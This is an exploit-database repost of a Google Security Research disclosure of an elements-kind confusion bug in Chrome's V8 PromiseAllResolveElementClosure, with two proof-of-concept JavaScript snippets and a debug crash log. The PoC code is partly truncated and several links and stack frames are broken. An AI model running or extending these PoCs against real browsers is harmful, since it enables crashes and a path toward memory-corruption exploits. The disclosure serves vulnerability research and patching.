Chrome V8 PromiseAllResolveElementClosure Element Confusion Vulnerability

ID 1337DAY-ID-30570
Type zdt
Reporter Google Security Research
Modified 2018-06-11T00:00:00


Exploit for multiple platform in category dos / poc

                                            Chrome: V8: PromiseAllResolveElementClosure can cause elements kind confusion 

The Promise.all method internally uses PromiseAllResolveElementClosure (<a href="" title="" class="" rel="nofollow"></a>) as a resolver for each of given Promise objects to insert a value into the result array at a specific index.

PromiseAllResolveElementClosure first tries to grow the capacity of the result array, and if it fails due to the index being too large, it uses the CreateDataProperty method to insert the value. The problem is, the growing operation (<a href="" title="" class="" rel="nofollow"></a>) always excepts the elements kind of the array to be PACKED_ELEMENTS despite the CreateDataProperty can transition it to DICTIONARY_ELEMENTS.

PoC with comments:
let arr = new Array(0x10000);
let resolve_element_closures = new Array(0x10000);

for (let i = 0; i < arr.length; i++) {
    arr[i] = new Promise(() => {});
    arr[i].then = ((idx, resolve) => {
        resolve_element_closures[idx] = resolve;
    }).bind(null, i);


// 0xffff is too large, transitions to DICTIONARY_ELEMENTS

// grows the capacity, the elements kind of the result array is still DICTIONARY_ELEMENTS, but the elements object of it is no more a dictionary.

// You can observe that V8 crashes here in debug mode.

PoC for release mode:
var promise = new Promise(() => {})
promise.then = function (cb) {

let arr = new Array(0x10000);
arr[arr.length - 1] = promise;


Crash log:
# Fatal error in ../../src/objects-inl.h, line 2814
# Debug check failed: fixed_array->IsDictionary().
#FailureMessage Object: 0x7f122141d860
==== C stack trace ===============================

    ./d8(__interceptor_backtrace+0x61) [0x561ea9b7c0e1]
    /home/lokihardt/debug/v8/ [0x7f122c26dcee]
    /home/lokihardt/debug/v8/ [0x7f122c19f924]
    /home/lokihardt/debug/v8/ const*, int, char const*, ...)+0x3a4) [0x7f122c2351e4]
    /home/lokihardt/debug/v8/ [0x7f122c2347e7]
    /home/lokihardt/debug/v8/ const*, int, char const*)+0x32) [0x7f122c235332]
    /home/lokihardt/debug/v8/ [0x7f12280f7f6b]
    /home/lokihardt/debug/v8/ [0x7f122a146185]
    /home/lokihardt/debug/v8/ v8::internal::LookupIterator::LookupInRegularHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x20e) [0x7f122a02082e]
    /home/lokihardt/debug/v8/ v8::internal::LookupIterator::LookupInHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x5c) [0x7f122a01b90c]
    /home/lokihardt/debug/v8/ v8::internal::LookupIterator::Start<true>()+0x212) [0x7f122a01b772]
    /home/lokihardt/debug/v8/*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::LookupIterator::Configuration)+0x6da) [0x7f1227c8151a]
    /home/lokihardt/debug/v8/*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::LookupIterator::Configuration)+0x2ee) [0x7f1227c8073e]
    /home/lokihardt/debug/v8/*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, bool*, v8::internal::LookupIterator::Configuration)+0x547) [0x7f122a007d07]
    /home/lokihardt/debug/v8/ [0x7f122a9a8085]
    /home/lokihardt/debug/v8/, v8::internal::Object**, v8::internal::Isolate*)+0x30f) [0x7f122a9a6f2f]

# [2018-06-11]  #